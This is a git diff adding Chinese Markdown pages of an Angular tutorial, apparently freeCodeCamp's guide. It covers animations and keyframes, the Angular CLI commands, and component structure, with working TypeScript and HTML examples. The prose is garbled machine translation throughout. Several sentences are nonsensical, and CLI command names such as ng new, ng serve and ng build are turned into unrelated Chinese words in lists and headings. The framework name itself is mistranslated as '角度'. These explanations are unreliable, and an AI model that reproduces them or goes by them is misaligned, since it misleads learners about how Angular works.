+角度动画在`@Component`元数据中声明。 `@Component`装饰一个类，将其区分为Angular的一个组件。其元数据包含组件配置，包括`animations: []`字段。此字段中的每个数组元素表示动画触发器（ `AnimationTriggerMetadata` ）。
+
+动画通过装饰器的元数据独占于其主机组件。动画只能在主机组件的模板中使用。动画不会继承到组件的子项。有一个简单的解决方法。
+
+您始终可以创建一个导出数组的单独文件。任何组件类都可以从其主机文件的顶部导入该数组。然后，导入的数组标记将进入组件的动画元数据。对其动画元数据中需要相同数组的任何其他组件重复此过程。
+
+内容投影允许您将动画应用于组件A的内容DOM（文档对象模型）。包装此内容的组件B DOM可以将内容投影到其自己的模板中。一旦它发生，组件A的动画不会否定。组件B通过内容投影结合A的动画。
+
+好。您知道如何设置动画以及在何处声明动画。实施是下一步。
+
+#### 动画方法
+
+角度动画使用一系列可从`@angular/animations`导入的方法调用。 `@Component`动画数组的每个元素都以单个方法开头。它的参数解析为一系列高阶方法调用。以下列表显示了用于构建Angular动画的一些方法。
+
+*   `trigger(selector: string, AnimationMetadata[])`
+
+返回`AnimationTriggerMetadata`
+
+*   `state(data: string, AnimationStyleMetadata, options?: object)`
+
+返回`AnimationStateMetadata`
+
+*   `style(CSSKeyValues: object)`
+
+返回`AnimationStyleMetadata`
+
+*   `animate(timing: string|number, AnimationStyleMetadata|KeyframesMetadata)`
+
+返回`AnimationAnimateMetadata`
+
+*   `transition(stateChange: string, AnimationMetadata|AnimationMetadata[], options?: object)`
+
+返回`AnimationTransitionMetadata`
+
+虽然有[更多的方法](https://angular.io/api/animations)可供选择，但这五种方法可以处理基础知识。试图将这些核心方法理解为列表并没有多大帮助。逐个子弹的解释以及一个例子将更好地理解它。
+
+##### trigger（selector：string，AnimationMetadata \[\]）
+
+`trigger(...)`方法在动画数组中封装了一个动画元素。
+
+方法的第一个参数`selector: string`匹配`[@selector]`成员属性。它的作用类似于组件模板中的属性指令。它实质上是通过属性选择器将动画元素连接到模板。
+
+第二个参数是一个包含适用动画方法列表的数组。 `trigger(...)`将它完全保存在一个阵列中。
+
+##### state（data：string，AnimationStyleMetadata，options？：object）
+
+`state(...)`方法定义动画的最终状态。它在动画结束后将一个CSS属性列表应用于目标元素。这就是动画元素的CSS与动画的分辨率相匹配。
+
+第一个参数匹配绑定到动画绑定的数据的值。也就是说，模板中`[@selector]`绑定的值与`state(...)`第一个参数匹配。数据的值决定了最终状态。值的改变决定了动画的手段（见`transition(...)` ）。
+
+第二个参数承载适用于动画后元素的CSS样式。样式通过调用`style(...)`传入，并将所需样式作为对象传递给其参数。
+
+选项列表可选地占用第三个参数。除非另有说明，否则默认`state(...)`选项应保持不变。
+
+##### style（CSSKeyValues：object）
+
+您可能已经在上一个列表中多次注意到`AnimationStyleMetadata` 。 `style(...)`组件返回这种确切类型的元数据。无论何种CSS样式应用， `style(...)`方法都必须调用。包含CSS样式的对象代表其参数。
+
+当然，CSS中可动画的样式会延续到Angular `style(...)`方法中。当然，使用Angular动画突然可能无法实现CSS。
+
+##### animate（timing：string | number，AnimationStyleMetadata | AnimationKeyframesMetadata）
+
+`animate(...)`函数接受一个计时表达式作为其第一个参数。此参数会对方法的动画进行计时，调整和/或延迟。此参数接受数字或字符串表达式。格式化[在这里](https://angular.io/api/animations/animate#usage)解释。
+
+`animate(...)`的第二个参数是保证动画的CSS属性。这采用了返回`AnimationStyleMetadata`的`style(...)`方法的形式。将`animate(...)`视为启动动画的方法。
+
+一系列关键帧也可以应用于第二个参数。关键帧是一个更高级的选项，本文稍后将对此进行说明。关键帧区分动画的各个部分。
+
+`animate(...)`可能不会收到第二个参数。在这种情况下，方法的动画计时仅适用于`state(...)`方法中反映的CSS。触发器的`state(...)`方法中的属性更改将设置动画。
+
+##### 转换（changExpr：string，AnimationMetadata | AnimationMetadata \[\]，options？：object）
+
+`animate(...)`启动动画时动画`transition(...)`确定动画启动的动画。
+
+第一个参数包含一种独特的微语法形式。它表示发生的状态变化（或数据变化）。绑定到模板动画绑定的数据（ `[selector]="value"` ）确定此表达式。即将发布的标题为“动画状态”的部分将进一步解释这一概念。
+
+`transition(...)`的第二个参数`transition(...)`包括`AnimationMetadata` （由`animate(...)`返回）。该参数接受`AnimationMetadata`数组或单个实例。
+
+第一个参数的值与模板中绑定的数据的值匹配（ `[selector]="value"` ）。如果发生完美匹配，则参数成功评估。然后第二个参数启动动画以响应第一个的成功。
+
+选项列表可选地占用第三个参数。除非另有说明，否则默认`transition(...)`选项应保持不变。
+
+##### 动画示例
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ import { trigger, state, style, animate, transition } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h3>Click the button to change its color!</h3> 
+  <button (click)="toggleIsCorrect()"     // event binding 
+    [@toggleClick]="isGreen">Toggle Me!</button>  // animation binding 
+    `, 
+    animations: [       // metadata array 
+      trigger('toggleClick', [     // trigger block 
+      state('true', style({      // final CSS following animation 
+        backgroundColor: 'green' 
+      })), 
+      state('false', style({ 
+        backgroundColor: 'red' 
+      })), 
+      transition('true => false', animate('1000ms linear')),  // animation timing 
+      transition('false => true', animate('1000ms linear')) 
+    ]) 
+  ]        // end of trigger block 
+ }) 
+ export class ExampleComponent { 
+  isGreen: string = 'true'; 
+ 
+  toggleIsCorrect() { 
+    this.isGreen = this.isGreen === 'true' ? 'false' : 'true'; // change in data-bound value 
+  } 
+ } 
+```
+
+上面的示例在每次单击按钮时执行非常简单的颜色交换。当然，根据`animate('1000ms linear')` ，颜色以线性渐变快速过渡。动画通过将`trigger(...)`的第一个参数与`[@toggleClick]`动画绑定相匹配来绑定到按钮。
+
+绑定绑定到组件类中`isGreen`的值。此值确定由`trigger(...)`块内的两个`style(...)`方法设置的结果颜色。动画绑定是单向的，因此组件类中对`isGreen`更改会通知模板绑定。也就是说，动画绑定`[@toggleClick]` 。
+
+模板中的button元素也有一个绑定到它的`click`事件。单击该按钮会导致`isGreen`切换值。这会更改组件类数据。动画绑定会选中它并调用其匹配的`trigger(...)`方法。 `trigger(...)`位于组件元数据的动画数组中。触发器调用时会发生两件事。
+
+第一次出现涉及两种`state(...)`方法。 `isGreen`的新值与`state(...)`方法的第一个参数匹配。匹配后， `style(...)`的CSS样式将应用于动画绑定的主机元素的最终状态。 \`最终状态在所有动画后生效。
+
+现在第二次出现。调用动画绑定的数据更改在两个`transition(...)`方法之间进行比较。其中一个将数据更改与其第一个参数进行匹配。第一次按下按钮导致`isGreen`从'true'变为'false'（'true => false'）。这意味着第一个`transition(...)`方法激活其第二个参数。
+
+对应于成功评估的`transition(...)`方法的`animate(...)`函数启动。此方法设置动画颜色渐变的持续时间以及淡入淡出的调步。动画执行，按钮渐变为红色。
+
+点击按钮后，此过程可能会发生任意次。按钮的`backgroundColor`将以线性淡入淡出在绿色和红色之间循环。
+
+#### 动画状态
+
+`transition(...)`微语法值得详细解决。 Angular通过评估此语法来确定动画及其时间。存在以下状态转换。他们模拟绑定到动画绑定的数据的更改。
+
+*   `'someValue' => 'anotherValue'`
+
+一个动画触发器，绑定数据从'someValue'变为'anotherValue'。
+
+*   `'anotherValue' => 'someValue'`
+
+动画触发器，绑定数据从“anotherValue”变为“someValue”。
+
+*   `'someValue' <=> 'anotherValue'`
+
+数据从'someValue\`变为'anotherValue'，反之亦然。
+
+还存在`void`和`*`状态。 `void`表示组件正在进入或离开DOM。这非常适合进入和退出动画。
+
+*   `'someValue' => void` ：绑定数据的主机组件_离开_ DOM
+    
+*   `void => 'someValue'` ：绑定数据的主机组件正在_进入_ DOM
+    
+
+`*`表示通配符状态。通配符状态可以解释为“任何状态”。这包括`void`以及对绑定数据的任何其他更改。
+
+#### 关键帧
+
+本文介绍了为Angular应用程序设置动画的基础知识。高级动画技术与这些基础知识并存。将关键帧组合在一起就是这样一种技术。它的灵感来自`@keyframes` CSS规则。如果您使用过CSS `@keyframes` ，那么您已经了解了Angular中的关键帧是如何工作的。它只是语法问题
+
+`keyframes(...)`方法从`@angular/animations`导入。它传递给`animate(...)`的第二个参数，而不是典型的`AnimationStyleMetadata` 。 `keyframes(...)`方法接受一个参数作为`AnimationStyleMetadata`的数组。这也可以称为`style(...)`方法的数组。
+
+动画的每个关键帧都在`keyframes(...)`数组内。这些关键帧元素是支持`offset`属性的`style(...)`方法。 `offset`表示动画持续时间中应包含其伴随样式属性的点。它的值从0（动画开始）到1（动画结束）。
+
+```typescript
+import { Component } from '@angular/core'; 
+ import { trigger, state, style, animate, transition, keyframes } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  styles: [ 
+    `.ball { 
+      position: relative; 
+      background-color: black; 
+      border-radius: 50%; 
+      top: 200px; 
+      height: 25px; 
+      width: 25px; 
+    }` 
+  ], 
+  template: ` 
+  <h3>Arcing Ball Animation</h3> 
+  <button (click)="toggleBounce()">Arc the Ball!</button> 
+  <div [@animateArc]="arc" class="ball"></div> 
+  `, 
+  animations: [ 
+    trigger('animateArc', [ 
+      state('true', style({ 
+        left: '400px', 
+        top: '200px' 
+      })), 
+      state('false', style({ 
+        left: '0', 
+        top: '200px' 
+      })), 
+      transition('false => true', animate('1000ms linear', keyframes([ 
+        style({ left: '0',     top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '400px', top: '200px', offset: 1 }) 
+      ]))), 
+      transition('true => false', animate('1000ms linear', keyframes([ 
+        style({ left: '400px', top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '0',     top: '200px', offset: 1 }) 
+      ]))) 
+    ]) 
+  ] 
+ }) 
+ export class ExampleComponent { 
+  arc: string = 'false'; 
+ 
+  toggleBounce(){ 
+    this.arc = this.arc === 'false' ? 'true' : 'false'; 
+  } 
+ } 
+```
+
+与其他示例相比，上述示例的主要区别在于`animate(...)`的第二个参数。它现在包含一个托管动画关键帧数组的关键`keyframes(...)`方法。虽然动画本身也不同，但动画技术是相似的。
+
+单击该按钮会使按钮在屏幕上呈弧形。弧根据`keyframes(...)`方法的数组元素（关键帧）移动。在动画的中点（ `offset: 0.50` ），球改变轨迹。当它继续穿过屏幕时，它下降到原始高度。再次单击该按钮可反转动画。
+
+设置`position: relative;`后， `left`和`top`是可动画的属性`position: relative;`对于元素。 `transform`属性可以执行类似的基于移动的动画。 `transform`是一个广泛但完全可动画的属性。
+
+在偏移0和1之间可以存在任意数量的关键帧。复杂的动画序列采用关键帧的形式。它们是Angular动画中的许多高级技术之一。
+
+### 主机绑定动画
+
+毫无疑问，您会遇到想要将动画附加到组件本身的HTML元素而不是组件模板中的元素的情况。这需要更多的努力，因为你不能只是进入模板HTML并在那里附加动画。相反，您必须导入`HostBinding`并使用它。
+
+此方案的最小代码如下所示。我会为上面的代码重复使用相同的动画条件以保持一致性，并且我不会显示任何实际的动画代码，因为您可以轻松地找到上面的代码。
+
+```typescript
+import { Component, HostBinding } from '@angular/core'; 
+ 
+ @Component({ 
+ ... 
+ }) 
+ export class ExampleComponent { 
+  @HostBinding('@animateArc') get arcAnimation() { 
+    return this.arc; 
+  } 
+ } 
+```
+
+动画主机组件背后的想法几乎与从模板中设置元素动画相同，唯一的区别是您无法访问要动画的元素。在声明`HostBinding` ，您仍然必须传递动画的名称（ `@animateArc` ），并且仍然必须返回动画的当前状态（ `this.arc` ）。函数的名称并不重要，因此`arcAnimation`可以更改为任何内容，只要它不与组件上的现有属性名称冲突，它就可以正常工作。
+
+#### 结论
+
+这涵盖了使用Angular进行动画制作的基础知识。 Angular使用Angular CLI可以非常轻松地设置动画。第一个动画入门只需要一个组件类。请记住，动画范围是组件的模板。如果计划在多个组件中使用过渡数组，请从单独的文件中导出过渡数组。
+
+每个动画实用程序/方法都从`@angular/animations`导出。他们共同努力，提供一个强大的CSS动画系统。除了本文可以涵盖的内容之外，还有更多方法。
+
+现在您已了解基础知识，请随时浏览以下链接，了解有关Angular动画的更多信息。
+
+## 来源
+
+*   [角度团队。 “动画”。 _谷歌_ 2018年6月7日访问。](https://angular.io/guide/animations)
+*   [角度团队。 “动画套餐”。 _谷歌_ 2018年6月7日访问。](https://angular.io/api/animations)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide)
+*   [角动画教程](https://angular.io/guide/animations)
+*   [角动画API](https://angular.io/api/animations)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/command-line-interface/index.md b/client/src/guide/chinese/angular/command-line-interface/index.md
new file mode 100644
index 0000000000..9b72ea1072
--- /dev/null
+++ b/client/src/guide/chinese/angular/command-line-interface/index.md
@@ -0,0 +1,130 @@
+---
+title: Command-line Interface
+localeTitle: 命令行界面
+---
+## 命令行界面
+
+#### 动机
+
+Angular与其命令行界面（CLI）密切相关。 CLI简化了Angular文件系统的生成。它处理幕后的大多数配置，因此开发人员可以开始编码。 CLI也有一个低学习曲线，值得推荐给任何想要直接进入的新手。哎呀，即使是经验丰富的Angular开发人员也依赖于CLI！
+
+#### 安装
+
+Angular CLI需要[Node.js和Node Packet Manager（NPM）](https://nodejs.org/en/) 。您可以使用terminal命令检查这些程序： `node -v; npm -v` 。安装完成后，打开终端并使用以下命令安装Angular CLI： `npm install -g @angular/cli` 。这可以在系统的任何位置执行。 CLI配置为使用`-g`标志进行全局使用。
+
+使用以下命令验证CLI是否存在： `ng -v` 。这输出了几行信息。其中一行说明了已安装CLI的版本。
+
+认识到`ng`是CLI的基本构建块。您的所有命令都将以`ng`开头。是时候看看以`ng`为前缀的四个最常见的命令了。
+
+#### 关键命令
+
+*   新的
+    
+*   服务
+    
+*   ng生成
+    
+*   建立
+    
+*   ng更新
+    
+
+每个关键术语都很有说服力。它们共同构成了使用Angular运行所需的功能。当然，还有更多。 [CLI的GitHub文档1](https://github.com/angular/angular-cli/wiki#additional-commands)中概述了所有命令。您可能会发现上面列出的命令将涵盖必要的基础。
+
+#### 新的
+
+`ng new`创建了一个_新的_ Angular文件系统。这是一个超现实的过程。请导航到_新_应用程序生成所需的文件位置。键入以下命令，将`[name-of-app]`替换`[name-of-app]`您想要的任何内容： `ng new [name-of-app]` 。
+
+应显示`[name-of-app]`文件夹下的文件系统。随意探索内在的东西。尽量不做任何改动。运行第一个Angular应用程序所需的所有内容都将在此生成的文件系统中打包在一起。
+
+#### 服务
+
+要使应用程序运行， `ng serve`命令必须在`[name-of-app]`文件夹中执行。文件夹中的任何位置都可以。 Angular CLI必须认识到它位于使用`ng new`生成的环境中。它将在这一条件下运行。继续尝试： `ng serve` 。
+
+默认情况下，应用程序在端口4200上运行。您可以通过在任何Web浏览器中导航到`localhost:4200`来查看Angular应用程序。 Angular适用于所有浏览器。除非您使用旧版本的Internet Explorer，否则将弹出应用程序。它显示官方的Angular徽标以及一系列有用的链接。
+
+好的，应用程序运行。它有希望发挥作用，但你需要知道幕后发生了什么。请参阅`[name-of-app]`文件系统。导航`[name-of-app] -> src -> app` 。其中的文件负责您在`localhost:4200`上看到的内容。
+
+#### ng生成
+
+`.component`文件定义Angular组件，包括其逻辑（ `.ts` ），样式（ `.css` ），布局（ `.html` ）和测试（ `.spec.ts` ）。 `app.module.ts`特别突出。这两组文件一起作为`component`和`module`一起工作。 `component`和`module`都是Angular原理图的两个独立示例。原理图分类代码_能发生_与不同目的导向块`ng generate` 。
+
+为了本文的目的，请了解`module`向底层组件树导入和导入资产。 `component`关注用户界面的一个部分。该单元的逻辑，样式，布局和测试仍然封装在各种`.component`文件中。
+
+对于`ng generate` ，此命令可以为每个可用的[Angular原理图2](https://github.com/angular/angular-cli/wiki/generate#available-schematics)生成骨架。导航到`[name-of-app -> src -> app]` 。尝试通过执行以下命令`ng generate component [name-of-component]`新`component` ： `ng generate component [name-of-component]` 。用你想要的任何东西替换`[name-of-component]` 。将弹出一个新文件`[name-of-component]`及其必要的`component`文件。
+
+您可以看到`ng generate`加速了Angular的[样板代码](https://en.wikipedia.org/wiki/Boilerplate_code) 。 `ng generate`也可以解决问题。在Angular文件系统的上下文中创建的Schematics与系统的根模块连接。在这种情况下，这将是`[name-of-app -> src -> app]` `app.module.ts`文件。
+
+#### 建立
+
+Angular是一个前端工具。 CLI代表前端执行其操作。 `ng serve`负责后端服务器设置。这使开发完全集中在前端。也就是说，也必须将您自己的后端连接到Angular应用程序。
+
+`ng build`满足了这个需求。在文件系统内部尝试之前。导航到`[name-of-app] -> angular.json` 。寻找这一行代码： `"outputPath": "dist/my-app"` 。
+
+这一行配置确定`ng build`转储其结果的位置。结果是将整个Angular应用程序编译成一个文件夹`dist/my-app` 。在该文件夹内，存在`index.html` 。整个Angular应用程序可以使用`index.html`运行。从这里开始不需要`ng serve` 。使用此文件，您可以轻松连接后端。
+
+试一试： `ng build` 。同样，这必须在Angular文件系统中执行。基于`angular.json`中`“outputPath:”`的`angular.json` 。将生成一个文件，其中原始应用程序已完全编译。如果保持`“outputPath:”`相同，则编译的应用程序将位于： `[name-of-app] -> dist -> [name-of-app]` 。
+
+#### ng更新
+
+在角度更新中，对所有角度和npm包进行自动更新以获得最新版本。
+
+以下是可以与`ng update`一起使用的语法和选项。
+
+`ng update [package]`
+
+**选项**
+
+*   干运行 `--dry-run (alias: -d)`
+    
+    无需进行任何更改即可运行。
+    
+*   力 `--force`
+    
+    如果为false，如果安装的软件包与更新不兼容，则会出错。
+    
+*   所有 `--all`
+    
+    是否更新package.json中的所有包。
+    
+*   下一个 `--next`
+    
+    使用最大的版本，包括beta和RC。
+    
+*   迁移，只 `--migrate-only`
+    
+    仅执行迁移，不更新已安装的版本。
+    
+*   从 `--from`
+    
+    要从中迁移的版本。仅在更新单个程序包时可用，且仅在仅迁移时才可用。
+    
+*   至 `--to`
+    
+    要应用迁移的版本。仅适用于正在更新的单个程序包，且仅适用于仅迁移。需要指定。默认为检测到的已安装版本。
+    
+*   注册处 `--registry`
+    
+    要使用的NPM注册表。
+    
+
+#### 结论
+
+这些命令实现了基础知识。 Angular的CLI是一种令人难以置信的便利，可加速应用程序生成，配置和扩展。它在保持灵活性的同时完成所有这些，允许开发人员进行必要的更改。
+
+如果您还没有，请查看`localhost:4200`上的链接。在打开之前不要忘记运行`ng serve` 。通过更好地理解CLI，您现在可以了解有关其最基本命令生成的内容的更多信息。
+
+### 来源
+
+1.  [谷歌。 “angular / angular-cli / wiki＃additional-commands。”GitHub。](https://github.com/angular/angular-cli/wiki#additional-commands)
+    
+2.  [谷歌。 “angular / angular-cli / wiki / generate #available-schematics。”GitHub。](https://github.com/angular/angular-cli/wiki/generate#available-schematics)
+    
+
+### 资源
+
+*   [Angular CLI网站](https://cli.angular.io)
+    
+*   [Angular CLI自述文件](https://github.com/angular/angular-cli#angular-cli)
+    
+*   [Angular CLI文档](https://github.com/angular/angular-cli/wiki)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/components/index.md b/client/src/guide/chinese/angular/components/index.md
new file mode 100644
index 0000000000..a2c2fecd02
--- /dev/null
+++ b/client/src/guide/chinese/angular/components/index.md
@@ -0,0 +1,271 @@
+---
+title: Components
+localeTitle: 组件
+---
+# 组件
+
+#### 动机
+
+Angular包含许多用于构建应用程序的_原理图_ 。组件就是这样的示意图。它们包含与应用程序的单个部分相关的单个逻辑单元。组件通常与其他原理图配合使用以更有效地运行。
+
+在所有原理图中，组件倾向于消耗更多而不是提供。虽然其他原理图如指令，管道和服务提供实用程序，但组件使用。他们负责应用程序界面，因此消费实用程序的原因才有意义。
+
+组件简化了应用程序。将逻辑漏斗到可见界面的单个部分是他们的主要目标。要逐步构建应用程序，必须逐个组件构建。毕竟，组件充当Angular的构建块。
+
+#### 组件介绍
+
+如上所述，组件消耗实用程序（服务/资源）。他们站在业务逻辑和演示之间，以产生一个有凝聚力的单元。 Angular为每个组件附加了各种机制。这些附件将类标识为组件并定义其标准功能。
+
+Angular必须在遇到组件时识别组件。为此， `@Component` Component必须装饰每个要作为组件的类。装饰者向Angular指出这个类是什么。
+
+对于组件，它必须知道如何与其注入器交互，与模板连接，从样式列表中提取，封装其样式等等。 Angular负责处理大多数低级需求。开发人员仍然需要配置组件的行为，导入其依赖项并扩展其逻辑。
+
+对于所有这些事情，我们有组件的类。班级保持一切相对统一。它封装了组件的业务逻辑。
+
+#### 组件类和元数据
+
+继续安装[Angular命令行界面（CLI）](https://cli.angular.io) 。您可以从[本文中](https://guide.freecodecamp.org/angular/command-line-interface)了解有关它的更多信息。 CLI命令`ng generate component [name-of-component]`产生以下结果。
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+```
+
+这是所有伟大组件的基本骨架。 `@Component`装饰器是最重要的部分。没有它，上面的例子就变成了一个通用的类。 Angular依靠装饰器来识别类的原理图类型。
+
+`@Component`接收元数据作为单个对象。装饰器只是引擎盖下的JavaScript功能。它们与元数据对象一样接受参数。元数据对象配置组件的基本依赖项。每个领域都发挥着作用。
+
+*   `selector:`告诉Angular将组件与应用程序模板HTML中的某个元素相关联。
+    
+*   `templateUrl:`接受组件模板HTML的文件位置（这是数据显示的位置）。
+    
+*   `styleUrls:`接受样式表文件位置（字符串）数组。这些样式表定位组件的已分配模板。
+    
+
+将元数据视为一大堆配置。装饰器接受它，以便它可以生成特定于组件的数据。装饰器使用其类行为所必需的数据来_装饰_底层类。一个_组件_类。
+
+默认情况下，类的签名导出，以便可以导入组件。 `ngOnInit`也得到了实施。 `implements`告诉类根据接口的定义定义某些方法。 `ngOnInit`是一个生命周期钩子。
+
+#### 组件生命周期和变更检测
+
+组件使用各种工具，服务和功能。组件可用的一个关键功能是生命周期钩子。 [本文介绍](https://guide.freecodecamp.org/angular/lifecycle-hooks)了每个钩子的解释。
+
+总共有八个，它们都作为计时功能。当组件通过[变化检测](https://blog.angularindepth.com/everything-you-need-to-know-about-change-detection-in-angular-8006c51d206f)从状态转换到状态时，它们有条件地执行。此过程在组件树中不断发生。它搜索值得重新呈现模板的数据变化。
+
+分手后要往前看了。有关组件生命周期的更多信息，请参阅上述文章。它值得更多解释。
+
+#### 组件数据
+
+数据驱动一切。组件也不例外。组件封装了所有数据。要从外部接收数据，组件必须明确声明它。这种形式的隐私可以防止信息在组件树中发生冲突。
+
+数据确定从组件类到其模板的显示内容。对类数据的任何更新都将（或至少应该）更新模板显示。
+
+组件通常会初始化一组存储数据的成员（或变量）。为方便起见，它们在整个组件类逻辑中使用。此信息助长了导致模板及其行为的逻辑。请参阅以下示例。
+
+```typescript
+// ./components/example/example.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { Post, DATA } from '../../data/posts.data'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  username: string; 
+  totalPosts: number; 
+  allPosts: Post[]; 
+ 
+  deletePost(index: number): void { 
+    this.allPosts.splice(index, 1); 
+    this.totalPosts = this.allPosts.length; 
+  } 
+ 
+  ngOnInit(): void { 
+    this.username = DATA.author; 
+    this.totalPosts = DATA.thePosts.length; 
+    this.allPosts = DATA.thePosts; 
+  } 
+ } 
+```
+
+```html
+
+<!-- ./components/example/example.component.html --> 
+ 
+ <h1>{{ username }}</h1> 
+ <span>Change Name: </span><input [(ngModel)]="username"> 
+ <h3>Posts: {{ totalPosts }}</h3> 
+ <ul> 
+ <hr/> 
+ <div *ngFor="let post of allPosts; let i=index"> 
+  <button (click)="deletePost(i)">DELETE</button> 
+  <h6>{{ post.title }}</h6> 
+  <p>{{ post.body }}</p> 
+  <hr/> 
+ </div> 
+ </ul> 
+```
+
+请注意组件与其数据交互的方式。它首先从`../../data/posts.data`取出它，然后才开始将其转发到模板进行显示。
+
+数据显示在整个模板中。在双花括号内，变量的值从组件类映射到大括号中。跨越`allPosts`类数组的`*ngFor`循环。单击该按钮可从其索引中删除`allPosts`中的特定元素。您甚至可以通过在输入框中输入来更改最顶层的`username` 。
+
+上述交互改变了组件类的数据，而这些数据又更新了组件的模板HTML。组件提供了促进数据流的骨干逻辑。模板HTML使该数据对用户可读。
+
+#### 组件模板
+
+上一个示例的模板HTML具有一个有趣的语法。语法不是实际的HTML。这是Angular的模板HTML。有些人经常提到它只有Angular的编译器才能识别HTML _Plus_ 。编译器支持导致HTML动态操作的语法。本文通常将其称为“模板HTML”或“模板”。
+
+该语法允许组件将数据直接注入模板HTML。注射是动态的。意思是，数据可以迭代并显示为HTML而无需外部帮助。 Angular编译器在到达Web浏览器时将其编译为实际HTML。
+
+要了解有关数据绑定到模板的一些方法的更多信息，请阅读[Angular中的数据绑定](https://guide.freecodecamp.org/angular/data-binding) 。在前面的示例（ `{{ ... }}` ）中发生了一些数据绑定示例。对于本文，它足以识别组件类及其模板之间发生的数据交互。
+
+#### 查询模板
+
+管理模板状态的数据必须正常工作。然而，纯数据并不总能满足应用程序的预期设计。可能需要更直接地与文档对象模型（DOM）进行交互。
+
+为此，组件必须引用模板元素。当数据更改时，组件可以显式操作DOM。这是一种更具声明性的方法。
+
+组件可以使用Web浏览器的DOM应用程序编程接口（API）来获取引用。虽然不好主意。 Angular更喜欢跨平台兼容性。要使组件在Web浏览器之外运行，它需要使用Angular的API而不是DOM。
+
+组件可以使用`@ViewChild`和`ContentChild`装饰器查询其模板。它们代表组件类获取对模板元素的引用。
+
+```typescript
+import { Component, ViewChild, ContentChild, ElementRef, Renderer2, AfterContentChecked, AfterViewChecked } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <button (click)="toggleEnlarge()">Toggle Enlarge</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class ChildComponent implements AfterContentChecked { 
+  @ContentChild("pReference", { read: ElementRef }) pElement: ElementRef; 
+  textEnlarge: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleEnlarge() { 
+    this.textEnlarge = !this.textEnlarge; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    if (this.textEnlarge) 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', '25px'); 
+      else 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', 'initial'); 
+    } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <button (click)="toggleHighlight()">Toggle Highlight</button> 
+  <h1 #hOneRefereance>View Child</h1> 
+  <app-child> 
+    <p #pReference>Content Child</p> 
+  </app-child> 
+  ` 
+ }) 
+ export class ParentComponent implements AfterViewChecked { 
+  @ViewChild("hOneRefereance", { read: ElementRef }) hOneElement: ElementRef; 
+  textHighlight: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleHighlight() { 
+    this.textHighlight = !this.textHighlight; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    if (this.textHighlight) 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'yellow'); 
+    else 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'initial'); 
+  } 
+ } 
+```
+
+上面的示例包含两个按钮，用于为每个元素切换特定样式。单击按钮可切换每个组件唯一的true / false值。这些布尔值决定了自定义样式是否适用。生命周期挂钩（ `ngAfterViewChecked`和`ngAfterContentChecked` ）以声明方式改变DOM，而不是强制导致更改的这些值。
+
+声明性方法通过元素的引用显式更改样式。在命令式编程中，基于DOM的关闭数据的更改是隐含的。查看有关[命令式和声明性编程的](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2)文章以了解更多信息。
+
+需要注意的主要问题是如何从模板中提取这些引用。在该示例中，使用两个装饰器查询模板的两个部分： `@ViewChild`和`@ContentChild` 。
+
+它们在寻找元素引用的位置上有所不同，无论它是在内容DOM中还是在视图DOM中。这两个DOM存在于ParentComponent的模板中。区分它们很重要，因为它们在不同的时间完成渲染。
+
+这就是`@ViewChild`和`@ContentChild`都存在的原因。它们与其伴随生命周期钩子`ngAfterViewChecked`和`ngAfterContentChecked`一起工作。这些生命周期钩子在执行之前等待各自的查询解析。
+
+解决后， `@ViewChild`和`@ContentChild`提供对两个元素的引用。两者都存在于DOM的不同部分中。布尔数据仍然决定了结果。这种结果如何转化为DOM是与以前的关键区别。 DOM通过`Renderer2`直接操作它来更新。
+
+#### 内容投影
+
+内容DOM存在于ChildComponent的`<app-child></app-child>`元素的innerHTML中。它全部位于ParentComponent的模板中。的innerHTML `app-child` _项目_到ChildComponent的模板，通过`<ng-content></ng-content>` 。
+
+这举例说明了内容投影。显示从内容`one`部件到另一个使用的innerHTML `another` “在s个标签`one`小号模板”，使得`another`部件可以拉那的innerHTML到它自己的模板通过`<ng-content></ng-content>` 。 _谢谢你阅读那句话。_
+
+因此，为什么ChildComponent引用其`<p></p>`使用元素`@ContentChild` 。 ParentComponent模板中`<app-child></app-child>`中包含的内容构成内容DOM。 ChildComponent使用`@ContentChild`查询引用该元素。
+
+ParentComponent的视图DOM包含可从组件视图中访问的所有内容。这不一定包括给定`<app-child></app-child>`的innerHTML的整个模板。同样，使用`@ContentChild`从ChildComponent查询DOM的这一部分。使用ParentComponent类中的`@ViewChild`查询其他所有内容。
+
+这是组件交换内容和查询自己内容的好方法，无论其DOM类型如何。组件也可以使用数据绑定与自身和其他人进行通信。从[这篇文章中](https://guide.freecodecamp.org/angular/data-binding)了解更多相关信息。
+
+#### 组件样式
+
+样式对于组件的可读性和交互性至关重要。每个组件都封装了它的样式表依赖项。这样他们只适用于组件的模板HTML。 HTML的影子DOM引入的一种特殊技术使这成为可能。
+
